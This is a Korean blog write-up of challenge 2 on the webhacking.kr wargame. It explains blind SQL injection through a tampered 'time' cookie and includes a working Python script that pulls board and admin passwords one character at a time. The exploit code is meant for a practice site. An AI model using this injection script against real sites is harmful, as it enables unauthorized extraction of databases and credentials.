본문
2번 문제의 키는
blind sql injection 과 cookie 변조 이지만,
그 보다 어려운 건. 생뚱맞은 취약점의 위치이다.
2번 문제를 클릭하면, 홈페이지 하나가 나오는데,
cookie를 유심히 보면서 돌아다니고, index.php 파일을 유심히 보다보면, 뭔가 바뀌는게 있다.
이 부분을 이용해서 취약점을 공략하는 문제이다.
blind sql injection을 사용하여 FreeB0aRd에 있는 글의 패스워드를 알아낸 뒤, 첨부된 zip 파일을 다운 받는다.
그런데 이 파일은 암호가 걸려있다.
페이지를 잘 보면, admin 페이지가 있는 것을 알 수 있다.
당연히 패스워드가 걸려있는데, 관리자 패스워드까지 알아내야 한다.
관리자 패스워드는 admin table에 존재한다.
이렇게까지 하면 끝이긴한데,
취약점이 너무 알아보기 어려운 곳에 있다;ㅠ
그리고, 테이블명에 대한 정보가 전혀 없어서 삽질이 필요하다. (html form에 있는 값과 동일하긴하다.)
이 문제는 write up 쓰기도 애매하다...ㅜ,ㅜ
- #!/usr/bin/python
- import httplib, urllib
- import time
- found = ""
- for idx in range(1,40) :
- #for i in "abcdef1234567890" :
- for i in '''qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP0123456789~!@#$%^&*()_+}{|":<>?/.,;'[]\=-`''' :
- #blind = "1372136272 and (select ascii(substr(password,%d,1)) from admin)=%d" % (idx, ord(i))
- blind = "1372205286 and (select ascii(substr(Password,%d,1)) from FreeB0aRd)=%d" % (idx, ord(i))
- #blind = "1372135310 and 1=1"
- params = ""
- headers = {"Content-type": "application/x-www-form-urlencoded",
- "Accept": "text/plain",
- "Cookie": "PHPSESSID=7b71dd94541c897a393f51ae2ba7dd66; time=%s" % blind}
- conn = httplib.HTTPConnection("webhacking.kr")
- #conn.set_debuglevel(10)
- print blind
- rq = "/challenge/web/web-02/index.php"
- conn.request("GET", rq, params, headers)
- response = conn.getresponse()
- #print response.status, response.reason
- #print rq
- data = response.read()
- #print data
- if data.find("09:00:01") > 0 :
- found += i
- print found
- conn.close()
- break
- conn.close()
- print idx
- print found
'WarGame > Webhacking.kr' 카테고리의 다른 글
[wargame/webhacking.kr] 1번. (0) | 2013.09.13 |
---|